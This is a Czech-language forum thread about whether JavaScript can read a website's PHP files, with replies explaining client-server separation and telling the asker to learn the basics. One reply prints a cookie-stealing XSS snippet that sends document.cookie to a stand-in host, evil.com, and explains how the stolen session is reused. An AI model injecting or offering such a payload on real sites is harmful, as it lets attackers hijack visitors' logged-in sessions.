Javascript + přístup k souborům (diskuse)

[progdan]

Nejsem si zcela jisty, ale k souborum myslim JavaScript do urcite miry pristupovat dokaze. Cim sem si vsak jisty, nedokaze pristoupit k souboru php. Tedy dokaze, ale ziska pouze koncovy (X)HTML (nebo jiny) vystup, nikdy vsak samotny kod souboru - to nelze zadnym zpusobem ani jazykem (krome prolomeni hesla na FTP a stazeni souboru ale to uz je neco trochu jinyho)

[unknown_]

Dík, myslel sem, že pokud k tomu dokáže přistoupit, tak jako k plain textu, protože html výstup už mám

[unknown_]

K tomu přístupu k .php, mělo by to jít pomocí php funkce readfile()?

[Josef Kufner]

K souborům by jsi se neměl dostat ani na straně klienta a už vůbec ne na straně serveru. Pokud se ti to povede, tak to nahlaš jako obrovskou bezpečnostní díru.

[unknown_]

To se mi nepovede už proto, že se tím asi dál zabývat nebudu, jen sem se trochu nudil, takže je mi to docela jedno. Jenom škoda, mohl z toho být poprask. Ale na to XSS je náchylnej snad každej druhej server :-/

[Přemek Vyhnal]

Můžu pomocí javascriptu zobrazit index.php?

Javascript běží u klienta - v prohlížeči.

Ale kdyz ho dokazes vlozit do nejaky stranky tak aby se zobrazil i jinym navstevnikum tak muzes napriklad ukrast prihlasovaci susenku.

<script>
location.href="http://evil.com/sendtomail.php?cookie="+document.cookie; 
</script>

Tohle presmeruje navstevnika na utocnikuv server na script kterej parametry co dostane pres GET posle na mail (treba). Utocnik si pak to co mu prijde nastavi jako svoji susenku a rychle nez se obet odhlasi se pujde s tou susenkou podivat na ten web a bude prihlasenej jako uzivatel kterymu to ukrad.

..ale je to lamarna .)

BTW jde to i na abclinuxu

[Ritchie]

Samozřejmě, že lze pomocí javascriptu otevřít soubor, stačí vytvořit objekt File. Ovšem ne všechny implementace javascriptu povolují vytvořit takový objekt, například implementace javascriptu v prohlížečích z pochopitelných důvodů soubory otevírat neumožňují.

Nemusím snad psát, že abyste mohl otevřít soubor, musíte mít přístup k souborovému systému, kde se soubor nachází. Pokud máte představu, že HTTP zpřístupňuje souborový systém serveru, doporučuji si přečíst alespoň úvod k tomuto protokolu. Zabralo by vám to jistě méně času, než napsání nesmyslného příspěvku do blogu.

[Filip Jirsák]

Btw neznáte nějaký přehled javascriptových funkcí? Nerad bych swe zdržoval věcma jako že a=1, b=2, a+b=3; to je ve všech jazycích stejný. Potřeboval bych nějaký přehled všech funkcí javascriptu. Nevíte o něčem takovým? … Co udělat na webu, hacknutelného přes XSS, když nemůžu nahradit index?

Nechat ten hacknutelný web na pokoji, a jít studovat základy. Základy programování, základy HTML a souvisejících věcí, co je to JavaScript a co jsou různé jeho implementace. Pak taky můžete trénovat vyhledávání Googlem (to abyste se nemusel shánět po manuálech k JavaScriptu, když vám jich Google najde několik stránek). Až to všechno budete mít nastudované, zjistěte si taky, co je to XSS – doufám, že po prostudování všeho předešlého už nebudete zklamaný z toho, že XSS není to, co hledáte.

[Mazarik]

Pokial Javascript chcete pouzit ako jazyk na serveri(nieco v style php), tak sa samozrejme subory otvarat daju. Pokial chcete pracovat so subormi na html stranke na strane klienta, tak to ide imho maximalne pomocou html input type="file" tusim, kde sa Vam otvori file dialog. Na ine operacie so subormi na strane klienta potrebujete vacsie prava, ktore musi povolit uzivatel. Aj ked som presne nepochopil o co Vam vlastne ide, tak pravdepodobne chcete presmerovat stranku pomocou javascriptu na inu stranku. Tak to sa robi napriklad document.location.href="_adresa_"

[Mazarik]

Este celkom dobra a dokumentacia Javascriptu, ktora funguje vo vsetkych prehliadacoch, je na stranke http://devguru.com/technologies/javascript/home.asp